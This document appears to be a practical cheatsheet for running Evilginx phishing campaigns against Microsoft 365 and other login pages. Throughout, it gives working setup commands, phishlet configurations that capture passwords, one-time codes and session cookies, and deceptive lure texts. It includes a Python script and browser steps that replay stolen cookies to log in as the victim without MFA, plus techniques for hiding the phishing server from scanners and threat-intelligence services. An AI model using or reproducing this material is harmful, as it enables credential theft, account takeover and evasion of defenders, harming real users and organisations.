Evilginx cheatsheet

# 1. Build and start
git clone https://github.com/kgretzky/evilginx2 && cd evilginx2
go build -o evilginx main.go
sudo ./evilginx -p ./phishlets/

# 2. Inside the Evilginx console - configure domain and IP
config domain phish.example.com
config ipv4 external 1.2.3.4

# 3. Assign hostname and enable phishlet (triggers ACME cert request)
phishlets hostname o365 login.phish.example.com
phishlets enable o365

# 4. Create lure and get phishing URL
lures create o365
lures edit 0 redirect_url https://office.com
lures edit 0 og_title "Microsoft 365 - Sign In"
lures get-url 0

# 5. Wait for victim - then review captured session
sessions
sessions 0

# -------------------------------------------------------
# PHISHLET HEADER
# -------------------------------------------------------
min_ver: '3.0.0'           # minimum Evilginx version required
redirect_url: 'https://office.com'  # default post-capture redirect

# -------------------------------------------------------
# PARAMS - template variables, set per-lure or per-child phishlet
# -------------------------------------------------------
params:
  - name: 'custom_landing'      # use as {custom_landing} in fields below
    default: '/mail'
    required: false

# -------------------------------------------------------
# PROXY_HOSTS - domains to proxy and issue TLS certs for
# -------------------------------------------------------
proxy_hosts:
  - phish_sub: 'login'          # subdomain on YOUR phishing domain
    orig_sub: 'login'           # subdomain on the REAL site
    domain: 'microsoftonline.com'
    session: true               # main HTML content visible in browser URL bar
    is_landing: true            # this is where the phishing URL points
    # port: '8443'            # optional: non-standard port on target
    auto_filter: true           # auto-rewrite URLs (v3 - use this)

  - phish_sub: 'aadcdn'
    orig_sub: 'aadcdn'
    domain: 'msauthimages.net'
    session: false
    is_landing: false
    auto_filter: true

# -------------------------------------------------------
# SUB_FILTERS - manual string replacement in proxied content
# (use when auto_filter is insufficient)
# -------------------------------------------------------
sub_filters:
  - triggers_on: 'login.microsoftonline.com'
    orig_sub: 'login'
    domain: 'microsoftonline.com'
    search: 'login\.microsoftonline\.com'   # regex
    replace: '{hostname}'                    # built-in var
    mimes: ['text/html', 'application/javascript']
    redirect_only: false
    # with_params: ['client_id']            # conditional - only when param present

# Sub_filter template variables:
#   {hostname}       - current phishing hostname
#   {subdomain}      - subdomain portion of phishing hostname
#   {domain}         - domain portion (no subdomain)
#   {orig_hostname}  - original legitimate hostname
#   {orig_domain}    - original legitimate domain
#   {basedomain}     - your root phishing domain
#   {hostname_regexp}    - regex-escaped phishing hostname
#   {subdomain_regexp}   - regex-escaped subdomain
#   {domain_regexp}      - regex-escaped domain
#   {basedomain_regexp}  - regex-escaped basedomain

# -------------------------------------------------------
# AUTH_TOKENS - what to capture to consider session complete
# -------------------------------------------------------
auth_tokens:
  # --- Cookie type ---
  - domain: '.login.microsoftonline.com'
    keys:
      - 'ESTSAUTH'
      - 'ESTSAUTHPERSISTENT'
      - 'ESTSAUTHLIGHT'
      - 'buid'
      - 'fpc'
    type: 'cookie'

  # --- Body type (token in response body) ---
  - domain: 'login.microsoftonline.com'
    path: '/common/oauth2/token'            # regex
    name: 'access_token'
    search: '"access_token":"([^"]*)"'      # capture group 1 is the value
    type: 'body'

  # --- HTTP header type ---
  - domain: 'login.microsoftonline.com'
    path: '/common/oauth2/.*'
    name: 'authorization_header'
    header: 'Authorization'
    type: 'http'

# Cookie key modifiers (append to key name):
#   :regexp   - treat key as regex pattern
#   :opt      - optional token (don't block completion)
#   :always   - capture even after session complete

# -------------------------------------------------------
# CREDENTIALS - capture username and password from POST
# -------------------------------------------------------
credentials:
  username:
    key: 'login'            # POST param name (regex)
    search: '(.*)'          # capture group 1
    type: 'post'            # 'post' or 'json'
  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'
  custom:
    - key: 'totp'
      search: '([0-9]{6})'
      type: 'post'

# -------------------------------------------------------
# AUTH_URLS - optional: mark session complete on URL access
# -------------------------------------------------------
auth_urls:
  - '/common/oauth2/v2.0/token'    # regex - captured on POST to this path

# -------------------------------------------------------
# LOGIN - where to send victim when they land on phish URL
# -------------------------------------------------------
login:
  domain: 'login.microsoftonline.com'
  path: '/common/oauth2/authorize?response_type=code&client_id=4765445b...'

# -------------------------------------------------------
# FORCE_POST - inject/replace POST params in requests
# -------------------------------------------------------
force_post:
  - path: '/common/login'
    search:
      - key: 'login'
        search: '.'
    force:
      - key: 'flowToken'
        value: 'injected_value'
        type: 'post'

# -------------------------------------------------------
# JS_INJECT - inject JavaScript into proxied pages
# -------------------------------------------------------
js_inject:
  - trigger_domains: ['login.microsoftonline.com']
    trigger_paths:
      - '/common/oauth2/.*'
    trigger_params:          # only inject when lure has these params
      - 'client_id'
    script: |
      console.log("injected");
      // script appended before </body>

# -------------------------------------------------------
# INTERCEPT - block requests and return custom responses
# -------------------------------------------------------
intercept:
  - domain: 'login.microsoftonline.com'
    path: '/common/oauth2/v2.0/checksession'
    http_status: 200
    body: '{"session":"active"}'
    mime: 'application/json'

# 1. Browse target login flow with browser devtools open
#    Record: all domains contacted, cookies set, POST params sent

# 2. Identify all domains in the auth flow
#    Network tab -> filter by "login" or "auth"
#    Note: primary login domain, CDN domains, API domains

# 3. Capture POST request on form submit
#    Network tab -> filter by "POST" -> find credential submission
#    Record: URL path, param names (username/password fields)

# 4. Identify session cookies
#    After login: Application -> Cookies
#    Find cookies that persist across page loads
#    Test: delete one at a time, reload - which one logs you out?

# 5. Check if target uses SPA (single page app)
#    If URL doesn't change after login -> need auth_urls not just cookies

# 6. Map all subdomains in the auth flow
#    Example for Google:
#    accounts.google.com   - main login
#    www.google.com        - post-login landing
#    apis.google.com       - API calls
#    lh3.googleusercontent.com - avatars/images

# Start with minimal viable phishlet - add complexity only as needed

min_ver: '3.0.0'
redirect_url: 'https://www.targetsite.com/dashboard'

proxy_hosts:
  # Start with just the login domain
  - phish_sub: 'login'
    orig_sub: 'login'
    domain: 'targetsite.com'
    session: true
    is_landing: true
    auto_filter: true         # let auto_filter handle URL rewriting first

auth_tokens:
  - domain: '.targetsite.com'
    keys: ['session_token', 'auth_cookie']
    type: 'cookie'

credentials:
  username:
    key: 'email'              # match the actual POST param name
    search: '(.*)'
    type: 'post'
  password:
    key: 'password'
    search: '(.*)'
    type: 'post'

login:
  domain: 'login.targetsite.com'
  path: '/signin'

# Start Evilginx in developer mode (no ACME, self-signed certs)
sudo ./evilginx -developer -p ./phishlets/

# In Evilginx console - get /etc/hosts entries for local testing
phishlets hostname mytarget login.phish.local
phishlets get-hosts mytarget
# Output: 127.0.0.1 login.phish.local

# Add output to /etc/hosts on your test machine
echo "127.0.0.1 login.phish.local" >> /etc/hosts

# Enable phishlet
phishlets enable mytarget

# Create and get lure URL
lures create mytarget
lures get-url 0

# Open URL in browser (accept self-signed cert warning)
# Watch Evilginx console output for proxy activity
# Check what gets captured: sessions

# Common issues:
# - Blank page: missing proxy_hosts entry for a loaded domain
# - Redirect loop: phishlet login path conflicts with lure path
# - No tokens: wrong cookie domain or key name
# - No credentials: wrong POST param key name

# Debug tip: watch the raw request log
# Enable -debug flag and watch for domains not being proxied

# O365 document share pretext
lures edit 0 og_title "ACME Corp - Q4 Financial Report.xlsx"
lures edit 0 og_desc "Peter shared a document with you. Sign in to view."
lures edit 0 og_image https://upload.wikimedia.org/wikipedia/commons/thumb/4/4f/Microsoft_Office_2013-2019_logo.png/200px-Microsoft_Office_2013-2019_logo.png
lures edit 0 redirect_url https://www.office.com/

# IT password reset pretext
lures edit 0 og_title "Action Required: Your Microsoft Account Password Expires in 24h"
lures edit 0 og_desc "Update your credentials before access is suspended."
lures edit 0 path /it-helpdesk/password-reset

# LinkedIn job offer pretext
lures edit 0 og_title "You have a new connection request"
lures edit 0 og_desc "Sarah Mitchell (Senior Recruiter at Google) wants to connect"
lures edit 0 og_image https://static.licdn.com/aero-v1/sc/h/bfm2v37eoef9d9u4wblk4a2s

# Mobile-only targeting
lures edit 0 ua_filter "Mobile|Android|iPhone|iPad|iPod"

# Step 1: From Evilginx console - copy token JSON
sessions 0
# Copy the JSON block from the "tokens" field

# Step 2: Clear existing site cookies in browser
# Chrome: chrome://settings/siteData -> Remove All
# Firefox: about:preferences#privacy -> Clear Data

# Step 3: Install a cookie import extension
# Chrome: "Cookie-Editor" or "EditThisCookie"
# Firefox: "Cookie-Editor" (Firefox version)

# Step 4: Navigate to the legitimate site domain first
# e.g. https://login.microsoftonline.com

# Step 5: Click extension -> Import -> paste JSON -> confirm

# Step 6: Refresh page - you should be authenticated as victim

#!/usr/bin/env python3
# Use captured Evilginx cookie JSON with Python requests

import requests
import json

# Paste the token JSON from: sessions <id>
# The JSON format from Evilginx:
token_json = [
    {"path": "/", "domain": ".login.microsoftonline.com",
     "expirationDate": 1700000000, "name": "ESTSAUTH", "value": "YOUR_VALUE"},
    {"path": "/", "domain": ".login.microsoftonline.com",
     "expirationDate": 1700000000, "name": "ESTSAUTHPERSISTENT", "value": "YOUR_VALUE"},
]

# Convert to requests-compatible dict
session = requests.Session()
for cookie in token_json:
    session.cookies.set(
        cookie['name'],
        cookie['value'],
        domain=cookie['domain'].lstrip('.'),
        path=cookie.get('path', '/')
    )

# Access protected resource
r = session.get("https://portal.office.com/")
print(r.status_code, r.url)

# Or use with curl (Netscape format)
# Convert to Netscape:
def to_netscape(cookies):
    lines = ["# Netscape HTTP Cookie File"]
    for c in cookies:
        http_only = "TRUE" if c.get('httpOnly') else "FALSE"
        secure = "TRUE" if c.get('secure') else "FALSE"
        lines.append(
            f"{c['domain']}\t{http_only}\t{c['path']}\t"
            f"{secure}\t{c.get('expirationDate',0)}\t{c['name']}\t{c['value']}"
        )
    return "\n".join(lines)

with open("/tmp/captured.txt", "w") as f:
    f.write(to_netscape(token_json))
# curl --cookie-jar /tmp/new.txt --cookie /tmp/captured.txt https://portal.office.com/

Official redirector template (in repo at redirectors/turnstile/). Not documented on help.evilginx.com but present in official GitHub. Turnstile acts as a bot filter before the phishing page. Bots/scanners fail the challenge and never reach evilginx. Two implementations exist:

# === OFFICIAL EVILGINX (client-side only) ===

# 1. Create Turnstile widget in Cloudflare dashboard
#    - Add site -> set domain to your phishing domain
#    - Widget type: Invisible (no user interaction)
#    - Copy Site Key

# 2. Edit redirectors/turnstile/index.html
#    Replace placeholder: 1x00000000000000000000BB -> your_site_key

# 3. Set lure to use the redirector
lures edit 0 redirector /turnstile

# Available template variables in redirector HTML:
#   {lure_url_js}    - lure URL for JS (window.location.assign)
#   {lure_url_html}  - lure URL for HTML href
#   {from_name}      - sender name (GoPhish integration)
#   {from_email}     - sender email (GoPhish integration)
#   {filename}       - download filename (download_example redirector)

# Flow: click -> Turnstile (invisible) -> pass -> lure URL
#        No server-side validation (client-side callback only)

# === EVILGOPHISH (full server-side validation) ===

# Uses both public (site) key AND private (secret) key
# Turnstile HTTP server runs on port 80
# Server-side token validation via Cloudflare API
# Failed challenges -> 403 page (customizable template)
# See: https://github.com/fin3ss3g0d/evilgophish

# /etc/nginx/sites-available/evilginx-proxy
# Run Nginx on 443, forward to Evilginx on 8443
# Benefits: TLS fingerprint obfuscation, Cloudflare-compatible, access logging

server {
    listen 443 ssl http2;
    server_name *.phish.example.com;

    ssl_certificate     /etc/letsencrypt/live/phish.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/phish.example.com/privkey.pem;
    ssl_protocols TLSv1.2 TLSv1.3;

    # Block known scanner user-agents before they reach Evilginx
    if ($http_user_agent ~* "(Googlebot|bingbot|YandexBot|DotBot|SemrushBot|AhrefsBot|MJ12bot|zgrab|masscan|Nuclei|Shodan|censys|ZmEu)") {
        return 301 https://microsoft.com;
    }

    location / {
        proxy_pass https://127.0.0.1:8443;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_ssl_verify off;
        proxy_connect_timeout 10;
        proxy_read_timeout 60;
    }
}

server {
    listen 80;
    server_name *.phish.example.com;
    return 301 https://$host$request_uri;
}

# 1. Remove Evilginx header signature from source (before building)
# Edit: core/http_proxy.go
# Find and remove/randomize: X-Evilginx header injection

# 2. Hide phishlets from direct access
phishlets hide o365

# 3. Use non-default lure path length
lures edit 0 path /verify/identity/secure     # not the default 8-char random

# 4. Set realistic redirect after capture
lures edit 0 redirect_url https://www.office.com/

# 5. Check Certificate Transparency exposure
# https://crt.sh/?q=%.phish.example.com
# If phishlet subdomains appear - consider wildcard cert (Pro) or Cloudflare

# 6. Verify your IP is not in known phishing infrastructure lists
# https://github.com/aalex954/evilginx2-TTPs

# 7. Pre-campaign domain validation
curl -s "https://www.virustotal.com/vtapi/v2/domain/report?apikey=KEY&domain=phish.example.com"
curl -s "https://urlscan.io/api/v1/search/?q=domain:phish.example.com"

# 8. GoPhish signature removal (if using GoPhish)
# Edit: config/config.go -> ServerName = "RANDOMSTRING"
# Edit: controllers/api/util.go -> remove X-Gophish-Contact header

# 9. Use a redirector HTML page as lure buffer
# Lure -> HTML redirector (hosted elsewhere) -> Evilginx
# Breaks direct URL scanning chain

# 10. Monitor for your domain in threat intel
# https://urlhaus.abuse.ch
# https://openphish.com

# 1. INFRASTRUCTURE
# Provision VPS (Vultr/Hetzner), assign static IP
sudo ufw allow 53/udp && sudo ufw allow 53/tcp
sudo ufw allow 80/tcp && sudo ufw allow 443/tcp

# 2. DOMAIN
# Register aged domain, set DNS records:
# A @ -> VPS_IP | A * -> VPS_IP | SPF/DKIM/DMARC
# Check reputation: VirusTotal, Bluecoat, URLscan.io

# 3. EVILGINX SETUP
sudo ./evilginx -p ./phishlets/
config domain phish.example.com
config ipv4 external <VPS_IP>
config unauth_url https://microsoft.com

# 4. PHISHLET
phishlets hostname o365 login.phish.example.com
phishlets enable o365              # triggers ACME cert (wait 30-60s)
phishlets hide o365                # hide from non-lure access

# 5. LURE
lures create o365
lures edit 0 og_title "Verify Your Account"
lures edit 0 og_desc "IT Security: Identity verification required"
lures edit 0 redirect_url https://office.com
lures get-url 0                    # copy the phishing URL

# 6. DELIVER
# Send URL via GoPhish campaign, Teams message, or SMS

# 7. CAPTURE
sessions                           # wait for victim to authenticate
sessions 0                         # view captured session + cookies

# 8. IMPORT
# Browser: Cookie-Editor extension -> delete cookies -> import JSON
# Navigate to target app -> authenticated as victim, MFA bypassed